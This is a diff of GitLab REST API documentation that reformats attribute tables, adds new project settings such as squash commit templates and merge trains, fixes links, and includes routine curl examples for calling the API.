```
+
+When importing from GitHub, the a `stats` field lists how many objects were already fetched from
+GitHub and how many were already imported:
+
+```json
+{
+ "id": 1,
+ "description": "Itaque perspiciatis minima aspernatur corporis consequatur.",
+ "name": "Gitlab Test",
+ "name_with_namespace": "Gitlab Org / Gitlab Test",
+ "path": "gitlab-test",
+ "path_with_namespace": "gitlab-org/gitlab-test",
+ "created_at": "2017-08-29T04:36:44.383Z",
+ "import_status": "started",
+ "import_type": "github",
+ "correlation_id": "mezklWso3Za",
+ "failed_relations": [
+ {
+ "id": 42,
+ "created_at": "2020-04-02T14:48:59.526Z",
+ "exception_class": "RuntimeError",
+ "exception_message": "A failure occurred",
+ "source": "custom error context",
+ "relation_name": "merge_requests",
+ "line_number": 0
+ }
+ ],
+ "stats": {
+ "fetched": {
+ "diff_note": 19,
+ "issue": 3,
+ "label": 1,
+ "note": 3,
+ "pull_request": 2,
+ "pull_request_merged_by": 1,
+ "pull_request_review": 16
+ },
+ "imported": {
+ "diff_note": 19,
+ "issue": 3,
+ "label": 1,
+ "note": 3,
+ "pull_request": 2,
+ "pull_request_merged_by": 1,
+ "pull_request_review": 16
+ }
+ }
+}
+```
diff --git a/doc/api/project_level_variables.md b/doc/api/project_level_variables.md
index a2c2da9065f..2251b0fc7fd 100644
--- a/doc/api/project_level_variables.md
+++ b/doc/api/project_level_variables.md
@@ -15,7 +15,7 @@ Get list of a project's variables.
GET /projects/:id/variables
```
-| Attribute | Type | required | Description |
+| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
@@ -52,7 +52,7 @@ Get the details of a project's specific variable.
GET /projects/:id/variables/:key
```
-| Attribute | Type | required | Description |
+| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
@@ -81,7 +81,7 @@ Create a new variable.
POST /projects/:id/variables
```
-| Attribute | Type | required | Description |
+| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed |
@@ -115,7 +115,7 @@ Update a project's variable.
PUT /projects/:id/variables/:key
```
-| Attribute | Type | required | Description |
+| Attribute | Type | Required | Description |
| ------------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
@@ -150,7 +150,7 @@ Remove a project's variable.
DELETE /projects/:id/variables/:key
```
-| Attribute | Type | required | Description |
+| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID of a project or [URL-encoded NAMESPACE/PROJECT_NAME of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `key` | string | yes | The `key` of a variable |
diff --git a/doc/api/project_snippets.md b/doc/api/project_snippets.md
index 0ac2297e3c1..569270e5de1 100644
--- a/doc/api/project_snippets.md
+++ b/doc/api/project_snippets.md
@@ -36,7 +36,9 @@ GET /projects/:id/snippets
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
+| Attribute | Type | Required | Description |
+|-----------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
## Single snippet
@@ -48,8 +50,10 @@ GET /projects/:id/snippets/:snippet_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `snippet_id` (required) - The ID of a project's snippet
+| Attribute | Type | Required | Description |
+|--------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `snippet_id` | integer | yes | The ID of a project's snippet |
```json
{
@@ -85,7 +89,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:------------------|:----------------|:---------|:----------------------------------------------------------------------------------------------------------------|
-| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `title` | string | yes | Title of a snippet |
| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file |
| `content` | string | no | Deprecated: Use `files` instead. Content of a snippet |
@@ -132,7 +136,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:----------------------|:----------------|:---------|:----------------------------------------------------------------------------------------------------------------|
-| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `snippet_id` | integer | yes | The ID of a project's snippet |
| `title` | string | no | Title of a snippet |
| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file |
@@ -183,8 +187,10 @@ DELETE /projects/:id/snippets/:snippet_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `snippet_id` (required) - The ID of a project's snippet
+| Attribute | Type | Required | Description |
+|:-------------|:---------------|:---------|:----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `snippet_id` | integer | yes | The ID of a project's snippet |
Example request:
@@ -203,8 +209,10 @@ GET /projects/:id/snippets/:snippet_id/raw
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `snippet_id` (required) - The ID of a project's snippet
+| Attribute | Type | Required | Description |
+|:-------------|:---------------|:---------|:----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `snippet_id` | integer | yes | The ID of a project's snippet |
Example request:
@@ -223,10 +231,12 @@ GET /projects/:id/snippets/:snippet_id/files/:ref/:file_path/raw
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `snippet_id` (required) - The ID of a project's snippet
-- `ref` (required) - The name of a branch, tag or commit, such as `main`
-- `file_path` (required) - The URL-encoded path to the file, such as `snippet%2Erb`
+| Attribute | Type | Required | Description |
+|:-------------|:---------------|:---------|:----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `snippet_id` | integer | yes | The ID of a project's snippet |
+| `ref` | string | yes | The name of a branch, tag or commit e.g. master |
+| `file_path` | string | yes | The URL-encoded path to the file, e.g. snippet%2Erb |
Example request:
@@ -245,10 +255,10 @@ Available only for users with the Administrator [role](../user/permissions.md).
GET /projects/:id/snippets/:snippet_id/user_agent_detail
```
-| Attribute | Type | Required | Description |
-|---------------|---------|----------|--------------------------------------|
-| `id` | integer or string | yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). |
-| `snippet_id` | Integer | yes | The ID of a snippet |
+| Attribute | Type | Required | Description |
+|--------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `snippet_id` | Integer | yes | The ID of a snippet |
Example request:
diff --git a/doc/api/project_statistics.md b/doc/api/project_statistics.md
index c69e41a423e..c0a1227b295 100644
--- a/doc/api/project_statistics.md
+++ b/doc/api/project_statistics.md
@@ -21,7 +21,7 @@ GET /projects/:id/statistics
| Attribute | Type | Required | Description |
| ---------- | ------ | -------- | ----------- |
-| `id` | integer / string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
Example response:
diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md
index d4af0e8d78d..2ec30c80a6b 100644
--- a/doc/api/project_templates.md
+++ b/doc/api/project_templates.md
@@ -33,7 +33,7 @@ GET /projects/:id/templates/:type
| Attribute | Type | Required | Description |
| ---------- | ------ | -------- | ----------- |
-| `id` | integer / string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `type` | string | yes | The type of the template. Accepted values are: `dockerfiles`, `gitignores`, `gitlab_ci_ymls`, `licenses`, `issues`, `merge_requests` |
Example response (licenses):
@@ -99,7 +99,7 @@ GET /projects/:id/templates/:type/:name
| Attribute | Type | Required | Description |
| ---------- | ------ | -------- | ----------- |
-| `id` | integer / string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `type` | string | yes| The type of the template. One of: `dockerfiles`, `gitignores`, `gitlab_ci_ymls`, `licenses`, `issues`, or `merge_requests`. |
| `name` | string | yes | The key of the template, as obtained from the collection endpoint |
| `source_template_project_id` | integer | no | The project ID where a given template is being stored. This is useful when multiple templates from different projects have the same name. If multiple templates have the same name, the match from `closest ancestor` is returned if `source_template_project_id` is not specified |
diff --git a/doc/api/project_vulnerabilities.md b/doc/api/project_vulnerabilities.md
index 7ba359587f6..1267f748633 100644
--- a/doc/api/project_vulnerabilities.md
+++ b/doc/api/project_vulnerabilities.md
@@ -10,9 +10,11 @@ type: reference, api
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10242) in GitLab 12.6.
WARNING:
-This API is in an alpha stage and considered unstable.
+This API is in the process of being deprecated and considered unstable.
The response payload may be subject to change or breakage
-across GitLab releases.
+across GitLab releases. Please use the
+[GraphQL API](graphql/reference/index.md#queryvulnerabilities)
+instead.
Every API call to vulnerabilities must be [authenticated](index.md#authentication).
diff --git a/doc/api/projects.md b/doc/api/projects.md
index d19019c9597..65911567f87 100644
--- a/doc/api/projects.md
+++ b/doc/api/projects.md
@@ -183,6 +183,7 @@ When the user is authenticated and `simple` is not set this returns something li
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
+ "squash_commit_template": null,
"marked_for_deletion_at": "2020-04-03", // Deprecated and will be removed in API v5 in favor of marked_for_deletion_on
"marked_for_deletion_on": "2020-04-03",
"statistics": {
@@ -300,6 +301,7 @@ When the user is authenticated and `simple` is not set this returns something li
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
+ "squash_commit_template": null,
"statistics": {
"commit_count": 12,
"storage_size": 2066080,
@@ -369,6 +371,9 @@ Keyset pagination supports only `order_by=id`. Other sorting options aren't avai
Get a list of visible projects owned by the given user. When accessed without
authentication, only public projects are returned.
+NOTE:
+Only the projects in the user's (specified in `user_id`) namespace are returned. Projects owned by the user in any group or subgroups are not returned.
+
This endpoint supports [keyset pagination](index.md#keyset-based-pagination)
for selected `order_by` options.
@@ -467,6 +472,7 @@ GET /users/:user_id/projects
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
+ "squash_commit_template": null,
"marked_for_deletion_at": "2020-04-03", // Deprecated and will be removed in API v5 in favor of marked_for_deletion_on
"marked_for_deletion_on": "2020-04-03",
"statistics": {
@@ -584,6 +590,7 @@ GET /users/:user_id/projects
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
+ "squash_commit_template": null,
"statistics": {
"commit_count": 12,
"storage_size": 2066080,
@@ -711,6 +718,7 @@ Example response:
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
+ "squash_commit_template": null,
"statistics": {
"commit_count": 37,
"storage_size": 1038090,
@@ -823,6 +831,7 @@ Example response:
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
+ "squash_commit_template": null,
"statistics": {
"commit_count": 12,
"storage_size": 2066080,
@@ -991,6 +1000,7 @@ GET /projects/:id
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
+ "squash_commit_template": null,
"marked_for_deletion_at": "2020-04-03", // Deprecated and will be removed in API v5 in favor of marked_for_deletion_on
"marked_for_deletion_on": "2020-04-03",
"compliance_frameworks": [ "sox" ],
@@ -1062,7 +1072,7 @@ If the project is a fork, and you provide a valid token to authenticate, the
"ssh_url_to_repo":"git@gitlab.com:gitlab-org/gitlab-foss.git",
"http_url_to_repo":"https://gitlab.com/gitlab-org/gitlab-foss.git",
"web_url":"https://gitlab.com/gitlab-org/gitlab-foss",
- "avatar_url":"https://assets.gitlab-static.net/uploads/-/system/project/avatar/13083/logo-extra-whitespace.png",
+ "avatar_url":"https://gitlab.com/uploads/-/system/project/avatar/13083/logo-extra-whitespace.png",
"license_url": "https://gitlab.com/gitlab-org/gitlab/-/blob/master/LICENSE",
"license": {
"key": "mit",
@@ -1228,8 +1238,10 @@ POST /projects
| `jobs_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable jobs for this project. Use `builds_access_level` instead. |
| `lfs_enabled` | boolean | **{dotted-circle}** No | Enable LFS. |
| `merge_method` | string | **{dotted-circle}** No | Set the [merge method](#project-merge-method) used. |
+| `merge_pipelines_enabled` | boolean | **{dotted-circle}** No | Enable or disable merge pipelines. |
| `merge_requests_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `merge_requests_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable merge requests for this project. Use `merge_requests_access_level` instead. |
+| `merge_trains_enabled` | boolean | **{dotted-circle}** No | Enable or disable merge trains. |
| `mirror_trigger_builds` **(PREMIUM)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. |
| `mirror` **(PREMIUM)** | boolean | **{dotted-circle}** No | Enables pull mirroring in a project. |
| `namespace_id` | integer | **{dotted-circle}** No | Namespace for the new project (defaults to the current user's namespace). |
@@ -1252,7 +1264,7 @@ POST /projects
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
-| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. |
+| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. |
| `template_project_id` **(PREMIUM)** | integer | **{dotted-circle}** No | When used with `use_custom_template`, project ID of a custom project template. This is preferable to using `template_name` since `template_name` may be ambiguous. |
| `topics` | array | **{dotted-circle}** No | The list of topics for a project; put array of topics, that should be finally assigned to a project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ |
| `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. |
@@ -1304,6 +1316,7 @@ POST /projects/user/:user_id
| `jobs_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable jobs for this project. Use `builds_access_level` instead. |
| `lfs_enabled` | boolean | **{dotted-circle}** No | Enable LFS. |
| `merge_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create merge commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20263) in GitLab 14.5.)_ |
+| `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ |
| `merge_method` | string | **{dotted-circle}** No | Set the [merge method](#project-merge-method) used. |
| `merge_requests_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `merge_requests_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable merge requests for this project. Use `merge_requests_access_level` instead. |
@@ -1331,7 +1344,7 @@ POST /projects/user/:user_id
| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request [suggestions](../user/project/merge_requests/reviews/suggestions.md). |
| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
-| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#built-in-templates). When used with `use_custom_template`, name of a custom project template. |
+| `template_name` | string | **{dotted-circle}** No | When used without `use_custom_template`, name of a [built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template). When used with `use_custom_template`, name of a custom project template. |
| `topics` | array | **{dotted-circle}** No | The list of topics for the project. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0.)_ |
| `use_custom_template` **(PREMIUM)** | boolean | **{dotted-circle}** No | Use either custom [instance](../user/admin_area/custom_project_templates.md) or [group](../user/group/custom_project_templates.md) (with `group_with_project_templates_id`) project template. |
| `visibility` | string | **{dotted-circle}** No | See [project visibility level](#project-visibility-level). |
@@ -1350,6 +1363,17 @@ where `password` is a public access key with the `api` scope enabled.
PUT /projects/:id
```
+For example, to toggle the setting for
+[shared runners on a GitLab.com project](../ci/runners/index.md):
+
+```shell
+curl --request PUT --header "PRIVATE-TOKEN: <your-token>" \
+ --url 'https://gitlab.com/api/v4/projects/<your-project-ID>' \
+ --data "shared_runners_enabled=true" # to turn off: "shared_runners_enabled=false"
+```
+
+Supported attributes:
+
| Attribute | Type | Required | Description |
|-------------------------------------------------------------|----------------|------------------------|-------------|
| `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. |
@@ -1383,8 +1407,10 @@ PUT /projects/:id
| `lfs_enabled` | boolean | **{dotted-circle}** No | Enable LFS. |
| `merge_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create merge commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20263) in GitLab 14.5.)_ |
| `merge_method` | string | **{dotted-circle}** No | Set the [merge method](#project-merge-method) used. |
+| `merge_pipelines_enabled` | boolean | **{dotted-circle}** No | Enable or disable merge pipelines. |
| `merge_requests_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `merge_requests_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable merge requests for this project. Use `merge_requests_access_level` instead. |
+| `merge_trains_enabled` | boolean | **{dotted-circle}** No | Enable or disable merge trains. |
| `mirror_overwrites_diverged_branches` **(PREMIUM)** | boolean | **{dotted-circle}** No | Pull mirror overwrites diverged branches. |
| `mirror_trigger_builds` **(PREMIUM)** | boolean | **{dotted-circle}** No | Pull mirroring triggers builds. |
| `mirror_user_id` **(PREMIUM)** | integer | **{dotted-circle}** No | User responsible for all the activity surrounding a pull mirror event. _(administrators only)_ |
@@ -1397,8 +1423,9 @@ PUT /projects/:id
| `packages_enabled` | boolean | **{dotted-circle}** No | Enable or disable packages repository feature. |
| `pages_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled`, or `public`. |
| `requirements_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, `enabled` or `public` |
-| `restrict_user_defined_variables` | boolean | **{dotted-circle}** No | Allow only maintainers to pass user-defined variables when triggering a pipeline. For example when the pipeline is triggered in the UI, with the API, or by a trigger token. |
+| `restrict_user_defined_variables` | boolean | **{dotted-circle}** No | Allow only users with the [Maintainer role](../user/permissions.md) to pass user-defined variables when triggering a pipeline. For example when the pipeline is triggered in the UI, with the API, or by a trigger token. |
| `path` | string | **{dotted-circle}** No | Custom repository name for the project. By default generated based on name. |
+| `printing_merge_request_link_enabled` | boolean | **{dotted-circle}** No | Show link to create/view merge request when pushing from the command line. |
| `public_builds` | boolean | **{dotted-circle}** No | If `true`, jobs can be viewed by non-project members. |
| `remove_source_branch_after_merge` | boolean | **{dotted-circle}** No | Enable `Delete source branch` option by default for all new merge requests. |
| `repository_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
@@ -1410,6 +1437,7 @@ PUT /projects/:id
| `show_default_award_emojis` | boolean | **{dotted-circle}** No | Show default award emojis. |
| `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. |
+| `squash_commit_template` | string | **{dotted-circle}** No | [Template](../user/project/merge_requests/commit_templates.md) used to create squash commit message in merge requests. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) in GitLab 14.6.)_ |
| `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. |
| `suggestion_commit_message` | string | **{dotted-circle}** No | The commit message used to apply merge request suggestions. |
| `tag_list` | array | **{dotted-circle}** No | _([Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/328226) in GitLab 14.0)_ The list of tags for a project; put array of tags, that should be finally assigned to a project. Use `topics` instead. |
@@ -2077,9 +2105,13 @@ This endpoint:
- Deletes a project including all associated resources (including issues and
merge requests).
+- In [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) and later, on
+ [Premium or higher](https://about.gitlab.com/pricing/) tiers,
+ [delayed project deletion](../user/project/settings/index.md#delayed-project-deletion)
+ is applied if enabled.
- From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on
[Premium or higher](https://about.gitlab.com/pricing/) tiers, group
- administrators can [configure](../user/group/index.md#enable-delayed-project-removal)
+ administrators can [configure](../user/group/index.md#enable-delayed-project-deletion)
projects within a group to be deleted after a delayed period. When enabled,
actual deletion happens after the number of days specified in the
[default deletion delay](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
@@ -2087,7 +2119,7 @@ This endpoint:
WARNING:
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935)
in GitLab 12.6 was changed to [Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382)
-in GitLab 13.2, as discussed in [Enable delayed project removal](../user/group/index.md#enable-delayed-project-removal).
+in GitLab 13.2, as discussed in [Enable delayed project deletion](../user/group/index.md#enable-delayed-project-deletion).
```plaintext
DELETE /projects/:id
@@ -2477,8 +2509,8 @@ GET /projects/:id/push_rule
{
"id": 1,
"project_id": 3,
- "commit_message_regex": "Fixes \d+\..*",
- "commit_message_negative_regex": "ssh\:\/\/",
+ "commit_message_regex": "Fixes \\d+\\..*",
+ "commit_message_negative_regex": "ssh\\:\\/\\/",
"branch_name_regex": "",
"deny_delete_tag": false,
"created_at": "2012-10-12T17:04:47Z",
diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md
index a75090c90d5..d17341759ad 100644
--- a/doc/api/protected_branches.md
+++ b/doc/api/protected_branches.md
@@ -197,18 +197,18 @@ POST /projects/:id/protected_branches
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_branches?name=*-stable&push_access_level=30&merge_access_level=30&unprotect_access_level=40"
```
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
-| `name` | string | yes | The name of the branch or wildcard |
-| `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, Maintainer role) |
-| `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, Maintainer role) |
-| `unprotect_access_level` | string | no | Access levels allowed to unprotect (defaults: `40`, Maintainer role) |
-| `allow_force_push` | boolean | no | Allow all users with push access to force push. (default: `false`) |
-| `allowed_to_push` | array | no | **(PREMIUM)** Array of access levels allowed to push, with each described by a hash |
-| `allowed_to_merge` | array | no | **(PREMIUM)** Array of access levels allowed to merge, with each described by a hash |
-| `allowed_to_unprotect` | array | no | **(PREMIUM)** Array of access levels allowed to unprotect, with each described by a hash |
-| `code_owner_approval_required` | boolean | no | **(PREMIUM)** Prevent pushes to this branch if it matches an item in the [`CODEOWNERS` file](../user/project/code_owners.md). (defaults: false) |
+| Attribute | Type | Required | Description |
+| -------------------------------------------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `name` | string | yes | The name of the branch or wildcard |
+| `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, Maintainer role) |
+| `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, Maintainer role) |
+| `unprotect_access_level` | string | no | Access levels allowed to unprotect (defaults: `40`, Maintainer role) |
+| `allow_force_push` | boolean | no | Allow all users with push access to force push. (default: `false`) |
+| `allowed_to_push` **(PREMIUM)** | array | no | Array of access levels allowed to push, with each described by a hash |
+| `allowed_to_merge` **(PREMIUM)** | array | no | Array of access levels allowed to merge, with each described by a hash |
+| `allowed_to_unprotect` **(PREMIUM)** | array | no | Array of access levels allowed to unprotect, with each described by a hash |
+| `code_owner_approval_required` **(PREMIUM)** | boolean | no | Prevent pushes to this branch if it matches an item in the [`CODEOWNERS` file](../user/project/code_owners.md). (defaults: false) |
Example response:
@@ -402,7 +402,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the branch |
-## Require code owner approvals for a single branch
+## Require code owner approvals for a single branch **(PREMIUM)**
Update the "code owner approval required" option for the given protected branch.
@@ -411,11 +411,11 @@ PATCH /projects/:id/protected_branches/:name
```
```shell
-curl --request PATCH --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_branches/feature-branch"
+curl --request PATCH --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_branches/feature-branch?code_owner_approval_required=true"
```
-| Attribute | Type | Required | Description |
-| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
-| `name` | string | yes | The name of the branch |
-| `code_owner_approval_required` | boolean | no | **(PREMIUM)** Prevent pushes to this branch if it matches an item in the [`CODEOWNERS` file](../user/project/code_owners.md). (defaults: false)|
+| Attribute | Type | Required | Description |
+| -------------------------------------------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `name` | string | yes | The name of the branch |
+| `code_owner_approval_required` | boolean | no | Prevent pushes to this branch if it matches an item in the [`CODEOWNERS` file](../user/project/code_owners.md). (defaults: false)|
diff --git a/doc/api/protected_environments.md b/doc/api/protected_environments.md
index 82bb1e55e77..c7de4c504a4 100644
--- a/doc/api/protected_environments.md
+++ b/doc/api/protected_environments.md
@@ -117,13 +117,13 @@ Example response:
```json
{
- "name":"production",
- "deploy_access_levels":[
+ "name": "production",
+ "deploy_access_levels": [
{
- "access_level":40,
- "access_level_description":"protected-access-group",
- "user_id":null,
- "group_id":9899826
+ "access_level": 40,
+ "access_level_description": "protected-access-group",
+ "user_id": null,
+ "group_id": 9899826
}
]
}
diff --git a/doc/api/repositories.md b/doc/api/repositories.md
index e93ffbc5e72..ec5c97e5b25 100644
--- a/doc/api/repositories.md
+++ b/doc/api/repositories.md
@@ -28,7 +28,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :---------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `path` | string | no | The path inside repository. Used to get content of subdirectories. |
| `ref` | string | no | The name of a repository branch or tag or if not given the default branch. |
| `recursive` | boolean | no | Boolean value used to get a recursive tree (false by default). |
@@ -104,7 +104,7 @@ Supported attributes:
| Attribute | Type | Required | Description |
| :-------- | :------------- | :------- | :---------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `sha` | string | yes | The blob SHA. |
